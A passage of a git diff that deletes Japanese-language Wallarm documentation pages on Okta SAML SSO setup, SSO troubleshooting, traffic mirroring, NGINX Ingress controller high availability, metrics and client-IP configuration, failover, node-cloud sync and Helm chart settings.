続行し、**Create SAML Integration**ウィザードで、**App Name**や任意で**App logo**などの統合の一般設定を行います。 - - ![一般設定][img-general] - -1. 続行し、Wallarmのメタデータを入力します。必須フィールド: - - * **Single sign‑on URL** = Wallarmの**Assertion Consumer Service URL (ACS URL)**。 - * **Audience URI (SP Entity ID)** = Wallarmの**Wallarm Entity ID**。 - - ![SAMLの設定][img-saml] - -1. 必要に応じて、[Oktaドキュメント][link-okta-docs]に記載の他のパラメータを設定します。 - - ![SAML設定のプレビュー][img-saml-preview] - -1. 続行し、**Are you a customer or partner**を「I'm an Okta customer adding an internal app」に設定します。 -1. 必要に応じて、他のパラメータを設定します。 - - ![フィードバックフォーム][img-feedback] - -1. **Finish**をクリックします。作成されたアプリケーションのページにリダイレクトされます。 -1. Oktaメタデータを取得するには、**Sign On**タブに移動し、次のいずれかを実行します: - - * **Identity Provider metadata**をクリックし、表示されたデータをXMLとして保存します。 - * **View Setup instructions**をクリックし、表示されたデータをコピーします。 - -1. **Applications** → **Applications** → **Assign Users to App**に移動して、作成したアプリケーションにOktaユーザーへのアクセス権を付与します。 - - ![アプリケーションへのユーザー割り当て][img-assignments] - -## 手順4 (Okta): プロビジョニングを設定する - -**プロビジョニング**は、SAML SSOソリューション（Okta）からWallarmへのデータ自動転送です: OktaのユーザーおよびそのグループメンバーシップがWallarmへのアクセスとそこでの権限を決定し、ユーザー管理はすべてOkta側で行います。 - -これを機能させるには、属性マッピングを設定します: - -1. Oktaのアプリケーションで、**Applications** → **Applications** → **General** → **SAML Settings (Edit)** → **Next**をクリックします。 - -1. 属性ステートメントをマッピングします: - - * email - user.email - * first_name - user.firstName - * last_name user.lastName - -1. ユーザーグループを`wallarm_role:[role]`にマッピングします。ここで`role`は次のいずれかです: - - * `admin` (**Administrator**) - * `analytic` (**Analyst**) - * `api_developer` (**API Developer**) - * `auditor` (**Read Only**) - * `partner_admin` (**Global Administrator**) - * `partner_analytic` (**Global Analyst**) - * `partner_auditor` (**Global Read Only**) - - すべてのロールの説明は[こちら](../../../user-guides/settings/users.md#user-roles)を参照してください。 - - ![Integrations - SSO、Oktaでのマッピング](../../../images/admin-guides/configuration-guides/sso/okta/wallarm-sso-okta-mapping.png) - -1. 変更を保存します。 - -## 手順5 (Wallarm): Oktaメタデータを入力する - -1. Wallarm ConsoleのSSO構成ウィザードで、**Upload metadata**手順に進みます。 -1. 次のいずれかを実行します: - - * OktaメタデータをXMLファイルとしてアップロードします。 - * 次のようにメタデータを手動で入力します: - - * **Identity Provider Single Sign‑On URL** → **Identity provider SSO URL**。 - * **Identity Provider Issuer** → **Identity provider issuer**。 - * **X.509 Certificate** → **X.509 Certificate**フィールド。 - - ![メタデータの手動入力][img-transfer-metadata-manually] - -1. SSO構成ウィザードを完了します。WallarmはOktaとの間でデータを転送できるかをテストします。 - -## 手順6 (Wallarm): プロビジョニングを設定する（SKIP） - -Oktaの場合、この手順はWallarmではスキップします。 - -![SSOグループからWallarmロールへのマッピング - Wallarmでのマッピング](../../../images/admin-guides/configuration-guides/sso/sso-mapping-in-wallarm.png) - -次の手順に進み、SSO構成ウィザードを完了してください。WallarmはSAML SSOソリューションとの間でデータを転送できるかをテストします。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/sso/troubleshooting.md b/docs/latest-ja/admin-en/configuration-guides/sso/troubleshooting.md deleted file mode 100644 index d0bb031654..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/sso/troubleshooting.md +++ /dev/null @@ -1,27 +0,0 @@ -# SAML SSO認証のトラブルシューティング - -本記事では、Wallarmの[SAML SSO認証](intro.md)のトラブルシューティング方法を説明します。 - -### SSOとAPI認証 - -ユーザーにSSOが有効な場合、このユーザーは[Wallarm APIへのリクエスト](../../../api/overview.md#your-own-api-client)に対する認証を利用できなくなります。有効なAPI認証情報を取得する方法は、使用しているSSOの[オプション](intro.md#available-options)によって異なります: - -* provisioningがオンまたはオフで、strict SSOオプションを使用している場合、**Administrator**ロールのSSOユーザーに対してAPI認証を有効化できます。そのためには、このユーザーのメニューから**Enable API access**を選択します。これにより、このユーザーには`SSO+API`の認証方式が有効になり、APIトークンを作成できるようになります。 - - 後で、**Disable API access**を選択してこのユーザーのAPI認証を無効化できます。これを行うと、既存のAPIトークンはすべて削除され、1週間後に完全に削除されます。 - -* provisioningがオフでstrict SSOを使用していない場合は、会社アカウントでSSOオプションなしのユーザーを作成し、[APIトークン](../../../api/overview.md#your-own-api-client)を作成します。 - -### サインインできない場合 - -ユーザーがSSO経由でサインインできない場合、以下の表に記載のいずれかのエラーコードを含むエラーメッセージが表示されます。多くの場合、会社アカウントの管理者がこれらのエラーを解決できます: - -| エラーコード | 説明 | 対処方法 | -|--|--|--| -| `saml_auth_not_found + userid` | provisioningはオフで、ユーザーにSSOが有効化されていません。 | Wallarm ConsoleでSSOを有効化します → **Settings** → **Users** → user menu → **Enable SSO**。 | -| `saml_auth_not_found + clientid` | クライアントには**Integrations**セクションにSSO統合がありません。 | ドキュメント「[SAML SSOとの統合](intro.md)」の手順に従います。 | -| `invalid_saml_response` または `no_mail_in_saml_response` | SSOプロバイダーが予期しないレスポンスを返しました。SSO統合の設定ミスを示している可能性があります。 | 次のいずれかを実行します:
      • Wallarm Consoleの**Integrations**セクションで設定したSSO統合に誤りがないことを確認します。
      • SSOプロバイダー側の設定に誤りがないことを確認します。
      | -| `user_not_found` | Wallarmは指定されたメールアドレスのユーザーを見つけられませんでした。 | Wallarm Consoleでこのメールアドレスのユーザーを作成します。 | -| `client_not_found` | Wallarmで会社アカウントが見つかりませんでした。 | 適切なメールドメインでユーザーアカウントを作成します。これにより会社アカウントが即座に作成されます。 | - -必要に応じて、管理者は[Wallarmサポートチーム](mailto:support@wallarm.com)に連絡して、これらのエラーの修正に関する支援を受けることができます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/traffic-mirroring/overview.md b/docs/latest-ja/admin-en/configuration-guides/traffic-mirroring/overview.md deleted file mode 100644 index 3226628404..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/traffic-mirroring/overview.md +++ /dev/null @@ -1,39 +0,0 @@ -# ミラーリングされたトラフィックのフィルタリング - -Wallarm nodeのデプロイ方法の1つに、ミラーリングされたHTTPトラフィックをフィルタリングするための非同期型デプロイがあります。本記事では、このデプロイを実装するために必要な設定について説明し、いくつかの例を示します。 - -トラフィックのミラーリングにより、元の受信トラフィックを複数のバックエンドへ並行して送信できます。追加のバックエンドとしてWallarm nodeを導入すると、クライアントに影響を与えることなくトラフィックのミラー（コピー）をフィルタリングできます。すべての受信リクエストは宛先のサーバーに到達します。 - -ミラーリングオプションを有効にした場合のトラフィックフロー図の例です: - -![ミラーリングの構成図](../../../images/waf-installation/aws/terraform/wallarm-for-mirrored-traffic.png) - -## このアプローチのユースケース - -ミラーリングされたトラフィックをフィルタリングするためにWallarm nodeを導入すると、次の目的に役立ちます: - -* セキュリティソリューションがアプリケーションのパフォーマンスに影響しないことを確認します。 -* 本番システムでモジュールを稼働させる前に、トラフィックのコピーでWallarmソリューションをトレーニングします。 - -## ミラーリングされたトラフィックのフィルタリングの制限事項 - -このデプロイ方法は安全ですが、いくつかの制限があります: - -* ミラーリングされたトラフィックのフィルタリングをサポートするのはNGINXベースのWallarm nodeのみです。 -* 実際のトラフィックフローとは独立して解析が進むため、Wallarm nodeは悪意のあるリクエストを即時にブロックしません。 -* ノードが保持するのは受信リクエストのコピーのみであり、サーバー応答はミラーリングできないため、WallarmはアプリケーションおよびAPIの[脆弱性](../../../about-wallarm/detecting-vulnerabilities.md)を検出しません。 -* このソリューションには、トラフィックのミラーリングを提供するWebサーバーまたは同様のツール（例: NGINX、Envoy、Istio、Traefik、カスタムKongモジュールなど）という追加コンポーネントが必要です。 - -## 設定 - -ミラーリングされたトラフィックをフィルタリングするためにWallarmを実装するには、次のようにします: - -1. Webサーバーを構成し、受信トラフィックを追加のバックエンドにミラーリングするようにします。 -1. 追加のバックエンドとしてWallarm nodeを[インストール](../../../installation/supported-deployment-options.md)し、ミラーリングされたトラフィックをフィルタリングするように設定します。 - -トラフィックのミラーリングは多くのWebサーバーでサポートされています。以下のリンク先に、代表的なWebサーバー向けの設定例があります: - -* [NGINX](nginx-example.md) -* [Traefik](traefik-example.md) -* [Envoy](envoy-example.md) -* [Istio](istio-example.md) \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md b/docs/latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md deleted file mode 100644 index 226bc7d737..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md +++ /dev/null @@ -1,54 +0,0 @@ -# 高可用性に関する考慮事項（NGINXベースのIngressコントローラー） - -本記事では、Wallarm Ingress controllerの高可用性確保とダウンタイム防止に役立つ設定の推奨事項を提供します。 - ---8<-- "../include/ingress-controller-best-practices-intro.md" - -## 設定の推奨事項 - -以下の推奨事項はミッションクリティカル（本番）環境を対象としています。 - -* IngressコントローラーのPodインスタンスを複数使用します。この挙動は`values.yaml`ファイルの属性`controller.replicaCount`で制御します。例： - ``` - controller: - replicaCount: 2 - ``` -* Kubernetesクラスターに対してIngressコントローラーのPodを異なるノードに配置するよう強制します。これはノード障害発生時のIngressサービスの回復性を高めます。この挙動はKubernetesのPodアンチアフィニティ機能で制御でき、`values.yaml`ファイルで設定します。例： - ``` - controller: - affinity: - podAntiAffinity: - requiredDuringSchedulingIgnoredDuringExecution: - - labelSelector: - matchExpressions: - - key: app - operator: In - values: - - nginx-ingress - topologyKey: "kubernetes.io/hostname" - ``` -* 予期せぬトラフィックスパイクや、[Kubernetesのhorizontal pod autoscaling（HPA）](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/)機能の利用が妥当となるその他の状況が想定されるクラスターでは、`values.yaml`ファイルで次のように有効化できます。 - ``` - controller: - autoscaling: - enabled: true - minReplicas: 1 - maxReplicas: 11 - targetCPUUtilizationPercentage: 50 - targetMemoryUtilizationPercentage: 50 - ``` - -## 設定手順 - -上記の設定を適用するには、`helm install`および`helm upgrade`コマンドの`--set`オプションを使用することを推奨します。例： - -=== "Ingressコントローラーのインストール" - ```bash - helm install --set controller.replicaCount=2 wallarm/wallarm-ingress -n - ``` - - 正しくIngressコントローラーをインストールするには[その他のパラメータ](../../../configure-kubernetes-en.md#additional-settings-for-helm-chart)も必要です。これらも`--set`オプションで指定してください。 -=== "Ingressコントローラーのパラメータ更新" - ```bash - helm upgrade --reuse-values --set controller.replicaCount=2 wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md b/docs/latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md deleted file mode 100644 index a7bcfe7319..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md +++ /dev/null @@ -1,102 +0,0 @@ -# NGINXベースのIngress Controllerの監視 - ---8<-- "../include/ingress-controller-best-practices-intro.md" - -NGINX Ingress Controllerの監視の一般的な側面は、すでにインターネット上で十分に解説されています。Wallarmは、ミッションクリティカルな環境で監視すべき追加の監視メトリクスを提供します。デフォルトでは`/wallarm-metrics`メトリクスサービスは無効です。 - -サービスを有効にするには、`controller.wallarm.metrics.enabled`を`true`に設定します: - -``` -controller: - wallarm: - metrics: - enabled: true -``` - -以下は、新たに公開されたエンドポイントから利用できるPrometheus形式のWallarm固有メトリクスの一覧です: - -``` -# HELP wallarm_requests リクエスト数 -# TYPE wallarm_requests gauge -wallarm_requests 2 -# HELP wallarm_messages リクエスト数 -# TYPE wallarm_messages gauge -wallarm_messages 0 -# HELP wallarm_attacks 攻撃リクエスト数 -# TYPE wallarm_attacks gauge -wallarm_attacks 0 -# HELP wallarm_blocked ブロックされたリクエスト数 -# TYPE wallarm_blocked gauge -wallarm_blocked 0 -# HELP wallarm_blocked_by_acl ACLによってブロックされたリクエスト数 -# TYPE wallarm_blocked_by_acl gauge -wallarm_blocked_by_acl 0 -# HELP wallarm_acl_allow_list 許可リストにより通過したリクエスト数 -# TYPE wallarm_acl_allow_list gauge -wallarm_acl_allow_list 0 -# HELP wallarm_abnormal 異常リクエスト数 -# TYPE wallarm_abnormal gauge -wallarm_abnormal 2 -# HELP wallarm_tnt_errors wstore書き込みエラー数 -# TYPE wallarm_tnt_errors gauge -wallarm_tnt_errors 0 -# HELP wallarm_api_errors API書き込みエラー数 -# TYPE wallarm_api_errors gauge -wallarm_api_errors 0 -# HELP wallarm_requests_lost 失われたリクエスト数 -# TYPE wallarm_requests_lost gauge -wallarm_requests_lost 0 -# HELP wallarm_overlimits_time overlimits_timeのカウント -# TYPE wallarm_overlimits_time gauge -wallarm_overlimits_time 0 -# HELP wallarm_segfaults セグメンテーションフォールト数 -# TYPE wallarm_segfaults gauge -wallarm_segfaults 0 -# HELP wallarm_memfaults vmem制限到達イベント数 -# TYPE wallarm_memfaults gauge -wallarm_memfaults 0 -# HELP wallarm_softmemfaults リクエストメモリ制限到達イベント数 -# TYPE wallarm_softmemfaults gauge -wallarm_softmemfaults 0 -# HELP wallarm_proton_errors libprotonのメモリ関連以外の障害イベント数 -# TYPE wallarm_proton_errors gauge -wallarm_proton_errors 0 -# HELP wallarm_time_detect_seconds 検出に要した時間 -# TYPE wallarm_time_detect_seconds gauge -wallarm_time_detect_seconds 0 -# HELP wallarm_db_id proton.dbファイルID -# TYPE wallarm_db_id gauge -wallarm_db_id 71 -# HELP wallarm_lom_id LOMファイルID -# TYPE wallarm_lom_id gauge -wallarm_lom_id 386 -# HELP wallarm_custom_ruleset_id Custom RulesetファイルID -# TYPE wallarm_custom_ruleset_id gauge -wallarm_custom_ruleset_id{format="51"} 386 -# HELP wallarm_custom_ruleset_ver Custom Rulesetファイルフォーマットのバージョン -# TYPE wallarm_custom_ruleset_ver gauge -wallarm_custom_ruleset_ver 51 -# HELP wallarm_db_apply_time proton.dbファイル適用時刻ID -# TYPE wallarm_db_apply_time gauge -wallarm_db_apply_time 1674548649 -# HELP wallarm_lom_apply_time LOMファイル適用時刻 -# TYPE wallarm_lom_apply_time gauge -wallarm_lom_apply_time 1674153198 -# HELP wallarm_custom_ruleset_apply_time Custom Rulesetファイル適用時刻 -# TYPE wallarm_custom_ruleset_apply_time gauge -wallarm_custom_ruleset_apply_time 1674153198 -# HELP wallarm_proton_instances protonインスタンス数 -# TYPE wallarm_proton_instances gauge -wallarm_proton_instances{status="success"} 5 -wallarm_proton_instances{status="fallback"} 0 -wallarm_proton_instances{status="failed"} 0 -# HELP wallarm_stalled_worker_time_seconds libproton内でワーカーが停止していた時間 -# TYPE wallarm_stalled_worker_time_seconds gauge -wallarm_stalled_worker_time_seconds{pid="3169104"} 25 - -# HELP wallarm_startid 一意の起動ID -# TYPE wallarm_startid gauge -wallarm_startid 3226376659815907920 -``` - -監視の設定と利用可能なメトリクスの一覧に関する詳細は、この[ドキュメント](../../../configure-statistics-service.md)に記載しています。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md b/docs/latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md deleted file mode 100644 index 342ae14c63..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md +++ /dev/null @@ -1,35 +0,0 @@ -# エンドユーザーのパブリックIPアドレスの適切な報告（NGINXベースのIngressコントローラー） - -本手順では、ロードバランサーの背後にコントローラーが配置されている場合に、クライアント（エンドユーザー）の発信元IPアドレスを特定するために必要なWallarm Ingress controllerの構成について説明します。 - -既定では、Ingressコントローラーは自分がインターネットに直接公開されており、接続クライアントのIPアドレスが実際のIPであると想定します。しかし、リクエストはIngressコントローラーに送信される前にロードバランサー（例：AWS ELBやGoogle Network Load Balancer）を経由する場合があります。 - -ロードバランサーの背後にコントローラーが配置されている場合、IngressコントローラーはロードバランサーのIPを実際のエンドユーザーのIPと見なすため、[一部のWallarm機能の誤動作](../../../using-proxy-or-balancer-en.md#possible-problems-of-using-a-proxy-server-or-load-balancer-ip-address-as-a-request-source-address)につながる可能性があります。適切なエンドユーザーIPアドレスをIngressコントローラーに報告できるよう、以下の手順でコントローラーを構成してください。 - -## 手順1：ネットワーク層で実クライアントIPの受け渡しを有効化する - -この機能は使用しているクラウドプラットフォームに大きく依存します。多くの場合、`values.yaml`ファイルの属性`controller.service.externalTrafficPolicy`を`Local`に設定することで有効化できます。 - -``` -controller: - service: - externalTrafficPolicy: "Local" -``` - -## 手順2：IngressコントローラーがX-FORWARDED-FOR HTTPリクエストヘッダーから値を取得できるようにする - -通常、ロードバランサーは元のクライアントIPアドレスを含むHTTPヘッダー[`X-Forwarded-For`](https://en.wikipedia.org/wiki/X-Forwarded-For)を付加します。正確なヘッダー名はロードバランサーのドキュメントで確認できます。 - -以下のようにコントローラーの`values.yaml`を設定すると、Wallarm Ingress controllerはこのヘッダーから実際のエンドユーザーIPアドレスを取得できます。 - -``` -controller: - config: - enable-real-ip: "true" - forwarded-for-header: "X-Forwarded-For" -``` - -* [`enable-real-ip`パラメータのドキュメント](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#enable-real-ip) -* [`forwarded-for-header`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#forwarded-for-header)パラメータには、元のクライアントIPアドレスを含むロードバランサーのヘッダー名を指定してください - ---8<-- "../include/ingress-controller-best-practices-intro.md" \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configure-backup-en.md b/docs/latest-ja/admin-en/configure-backup-en.md deleted file mode 100644 index cdf16272ad..0000000000 --- a/docs/latest-ja/admin-en/configure-backup-en.md +++ /dev/null @@ -1,28 +0,0 @@ -# フェイルオーバー方式の設定 - -[リバースプロキシ](../glossary-en.md#reverse-proxy)としてフィルタノードをデプロイするには、フィルタノードが高可用である必要があります。たとえば停電などでフィルタノードに障害が発生すると、APIの動作が制限されます。Wallarmの高可用性を確保するために、本セクションで説明するいずれかのフェイルオーバー方式を使用することを推奨します。 - -フェイルオーバー方式では、メインフィルタノードに障害が発生した際にトラフィックを自動的に転送するための追加ノードを用意します。 - -## データセンターのフェイルオーバー - -APIとフィルタノードがデータセンター内にある場合は、データセンターの「Failover IP」サービスを使用してください。 - -## VRRPまたはCARP - -各フィルタノードで、ノードの可用性を監視し、ノードがダウンした場合にトラフィックの転送を開始する`keepalived`または`ucarp`デーモンを起動してください。これは標準的な高可用性方式であり、各ノードでfailover‑IPを起動し、DNSバランシングでトラフィックを分散することでトラフィックの負荷分散にも使用できます。 - -!!! info "NGINX Plusでの利用" - WallarmはカスタムVRRPラッパーを用いることで[NGINX Plus](https://www.nginx.com/products/nginx/)上で動作するように設定できます。 - - CentOSやDebianを含むほとんどのLinuxディストリビューションには、このビルドをインストールできるカスタムパッケージがあります。 - - NGINX Plusと併用したWallarmのインストールはall-in-oneインストーラーを使用して実施します。詳しい手順は[こちら](../installation/nginx/all-in-one.md)をご覧ください。 - -## ハードウェアL3またはL4ロードバランサー - -L3またはL4のロードバランサーは高可用性の優れたソリューションです。 - -## DNSロードバランシング - -DNS設定で複数のIPアドレスを指定してください。この方法は負荷分散を目的としていますが、高可用性の手段としても有用です。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configure-cloud-node-synchronization-en.md b/docs/latest-ja/admin-en/configure-cloud-node-synchronization-en.md deleted file mode 100644 index c4cbefb348..0000000000 --- a/docs/latest-ja/admin-en/configure-cloud-node-synchronization-en.md +++ /dev/null @@ -1,54 +0,0 @@ -# WallarmノードとWallarm Cloud間の同期の構成 - -フィルタリングノードは次の目的で定期的にWallarm Cloudと同期します: - -* [トラフィック処理ルール(LOM)](../user-guides/rules/rules.md)の更新を取得します -* [proton.db](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors)の更新を取得します -* 検出された攻撃と脆弱性に関するデータを送信します -* 処理済みトラフィックのメトリクスを送信します - -本手順では、フィルタリングノードとWallarm Cloudの同期を構成するためのパラメータと方法について説明します。 - -## アクセスパラメータ - -フィルタリングノードがWallarm Cloudにアクセスするためのフィルタリングノード名、UUID、Wallarm APIシークレットキーなどのパラメータは、`node.yaml`に明示的に設定されます。このファイルは`register-node`スクリプトによって自動生成されます。 - -* Docker NGINX-based image、クラウドイメージ、NGINX Node all-in-one installerおよびNative Nodeのインストールの場合、[`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf)ディレクティブで上書きされていない限り、ファイルは`/opt/wallarm/etc/wallarm/node.yaml`にあります。 -* その他のインストールでは、`node.yaml`の場所が異なる場合があるか、[`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf)ディレクティブで上書きされている場合があります。検索するか、`wallarm_api_conf`の値を確認してファイルの場所を特定してください。 - -`node.yaml`ファイルには、次のアクセスパラメータが含まれる場合があります: - -| パラメータ | 説明 | デフォルト値 | -| --------- | ----------- | ------------- | -| `api.regtoken` | ノードがWallarm APIにアクセスできるようにするためのトークンです。 | `register-node`により提供されます | -| `api.uuid` | フィルタリングノードのUUIDです。この変数は`node.yaml`ファイルで設定することが**必須**です。 | `regtoken`により提供されます | -| `api.secret` | Wallarm APIにアクセスするためのシークレットキーです。この変数は`node.yaml`ファイルで設定することが**必須**です。 | `regtoken`により提供されます | -| `api.host` | Wallarm APIエンドポイントです。次のいずれかです:
      • US Cloudの場合は`us1.api.wallarm.com`
      • EU Cloudの場合は`api.wallarm.com`
      | `api.wallarm.com` | -| `api.port` | Wallarm APIのポートです。 | `443` | -| `api.use_ssl` | Wallarm APIに接続する際にSSLを使用するかどうかです。 | `true` | -| `api.ca_verify` | Wallarm APIサーバー証明書の検証を有効/無効にするかどうかです。次のいずれかです:
      • 検証を有効にする場合は`true`
      • 検証を無効にする場合は`false`
      。 | `true` | - -同期パラメータを変更するには、次の手順を実行します: - -1. `node.yaml`ファイルを編集し、必要なパラメータを追加して希望の値を設定します。 -1. 同期処理に更新した設定を適用するため、NGINXを再起動します: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -## 同期間隔 - -デフォルトでは、フィルタリングノードは120‑240秒(2‑4分)ごとにWallarm Cloudと同期します。システム環境変数`WALLARM_SYNCNODE_INTERVAL`で同期間隔を変更できます。 - -フィルタリングノードとWallarm Cloudの同期間隔を変更するには: - -1. ファイル`/etc/environment`を開きます。 -2. ファイルに`WALLARM_SYNCNODE_INTERVAL`変数を追加し、秒単位で希望の値を設定します。値はデフォルト値(`120`秒)未満にはできません。例: - - ```bash - WALLARM_SYNCNODE_INTERVAL=800 - ``` -3. 変更した`/etc/environment`を保存します。新しい間隔値は自動的に同期処理に適用されます。 - -## 設定例 - ---8<-- "../include/node-cloud-sync-configuration-example-5.x.md" \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configure-dynamic-dns-resolution-nginx.md b/docs/latest-ja/admin-en/configure-dynamic-dns-resolution-nginx.md deleted file mode 100644 index ea7b9a8ae6..0000000000 --- a/docs/latest-ja/admin-en/configure-dynamic-dns-resolution-nginx.md +++ /dev/null @@ -1,33 +0,0 @@ -# NGINXでの動的DNS解決の設定 - -NGINXの設定ファイルの`proxy_pass`ディレクティブにドメイン名を指定した場合、NGINXは起動後にホストのIPアドレスを1回だけ解決します。DNSサーバーがホストのIPアドレスを変更しても、NGINXをリロードまたは再起動するまで古いIPアドレスを引き続き使用します。それまでの間、NGINXは誤ったIPアドレスにリクエストを送信します。 - -例: - -```bash -location / { - proxy_pass https://demo-app.com; - include proxy_params; - } -``` - -動的DNS解決を行うには、`proxy_pass`ディレクティブを変数として設定できます。この場合、NGINXは変数を評価する際に[`resolver`](https://nginx.org/en/docs/http/ngx_http_core_module.html#resolver)ディレクティブで設定されたDNSサーバーアドレスを使用します。 - -!!! warning "動的DNS解決がトラフィック処理に与える影響" - * `resolver`ディレクティブと`proxy_pass`ディレクティブ内の変数を含むNGINXの設定では、リクエスト処理中に動的DNS解決の追加のステップが入るため、処理が遅くなります。 - * NGINXはTTL(Time To Live)の有効期限が切れたときにドメイン名を再解決します。`resolver`ディレクティブに`valid`パラメータを指定すると、TTLを無視して、代わりに指定した頻度でドメイン名を再解決するようNGINXに指示できます。 - * DNSサーバーがダウンしている場合、NGINXはトラフィックを処理しません。 - -例: - -```bash -location / { - resolver 172.43.1.2 valid=10s; - set $backend https://demo-app.com$uri$is_args$args; - proxy_pass $backend; - include proxy_params; - } -``` - -!!! info "NGINX Plusでの動的DNS解決" - NGINX Plusはドメイン名の動的解決をデフォルトでサポートします。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configure-kubernetes-en.md b/docs/latest-ja/admin-en/configure-kubernetes-en.md deleted file mode 100644 index 24bddc12d3..0000000000 --- a/docs/latest-ja/admin-en/configure-kubernetes-en.md +++ /dev/null @@ -1,511 +0,0 @@ -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - -# NGINXベースのWallarm Ingressコントローラーの詳細チューニング - -セルフホスト型のWallarm Ingressコントローラーで利用可能な詳細チューニング方法をご紹介します。これにより、Wallarmソリューションを最大限に活用できます。 - -!!! info "NGINX Ingress Controllerの公式ドキュメント" - Wallarm Ingressコントローラーの詳細チューニングは、[公式ドキュメント](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/)で説明されているNGINX Ingress Controllerのものと非常に類似しています。Wallarmを使用する場合でも、元のNGINX Ingress Controllerの設定オプションはすべて利用できます。 - -## Additional Settings for Helm Chart - -設定は[`values.yaml`](https://github.com/wallarm/ingress/blob/main/charts/ingress-nginx/values.yaml)ファイルで定義します。デフォルトでは、以下のとおりです。 - -``` -controller: - wallarm: - enabled: false - apiHost: api.wallarm.com - apiPort: 443 - apiSSL: true - token: "" - nodeGroup: defaultIngressGroup - existingSecret: - enabled: false - secretKey: token - secretName: wallarm-api-token - postanalytics: - kind: Deployment - service: - annotations: {} - arena: "2.0" - serviceAddress: "[::]:3313" - livenessProbe: - failureThreshold: 3 - initialDelaySeconds: 10 - periodSeconds: 10 - successThreshold: 1 - timeoutSeconds: 1 - tls: - enabled: false - # certFile: "/root/test-tls-certs/server.crt" - # keyFile: "/root/test-tls-certs/server.key" - # caCertFile: "/root/test-tls-certs/ca.crt" - # mutualTLS: - # enabled: false - # clientCACertFile: "/root/test-tls-certs/ca.crt" - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - wallarm-appstructure: - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - wallarm-antibot: - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - metrics: - port: 18080 - enabled: false - - service: - annotations: - prometheus.io/scrape: "true" - prometheus.io/path: /wallarm-metrics - prometheus.io/port: "18080" - - ## stats-exporterサービスを利用可能にするIPアドレスの一覧 - ## 参考: https://kubernetes.io/docs/user-guide/services/#external-ips - ## - externalIPs: [] - - loadBalancerIP: "" - loadBalancerSourceRanges: [] - servicePort: 18080 - type: ClusterIP - init: - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - wcliController: - logLevel: warn - commands: - apispec: - logLevel: INFO - blkexp: - logLevel: INFO - botexp: - logLevel: WARN - cntexp: - logLevel: ERROR - cntsync: - logLevel: INFO - credstuff: - logLevel: INFO - envexp: - logLevel: INFO - ipfeed: - logLevel: INFO - iplist: - logLevel: INFO - jwtexp: - logLevel: INFO - metricsexp: - logLevel: INFO - mrksync: - logLevel: INFO - register: - logLevel: INFO - reqexp: - logLevel: INFO - syncnode: - logLevel: INFO - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - wcliPostanalytics: - logLevel: warn - commands: - apispec: - logLevel: INFO - blkexp: - logLevel: INFO - botexp: - logLevel: WARN - cntexp: - logLevel: ERROR - cntsync: - logLevel: INFO - credstuff: - logLevel: INFO - envexp: - logLevel: INFO - ipfeed: - logLevel: INFO - iplist: - logLevel: INFO - jwtexp: - logLevel: INFO - metricsexp: - logLevel: INFO - mrksync: - logLevel: INFO - register: - logLevel: INFO - reqexp: - logLevel: INFO - syncnode: - logLevel: INFO - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - apiFirewall: - enabled: true - config: - ... - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE -validation: - enableCel: false - forbidDangerousAnnotations: false -``` - -この設定を変更する場合、Ingressコントローラーのインストール時は`helm install`の`--set`オプション、既存のIngressコントローラーのパラメータを更新する場合は`helm upgrade`の`--set`オプションの使用を推奨します。例: - -=== "Ingressコントローラーのインストール" - ```bash - helm install --set controller.wallarm.enabled=true wallarm/wallarm-ingress -n - ``` -=== "Ingressコントローラーのパラメータ更新" - ```bash - helm upgrade --reuse-values --set controller.wallarm.enabled=true wallarm/wallarm-ingress -n - ``` - -以下に主なパラメータの説明を示します。その他のパラメータはデフォルト値が設定されており、変更の必要はほとんどありません。 - -### controller.wallarm.enabled - -Wallarmの機能を有効化または無効化できます。 - -**デフォルト値**: `false` - -### controller.wallarm.apiHost - -Wallarm APIエンドポイントです。次のいずれかを指定します。 - -* [USクラウド](../about-wallarm/overview.md#cloud)の場合は`us1.api.wallarm.com` -* [EUクラウド](../about-wallarm/overview.md#cloud)の場合は`api.wallarm.com` - 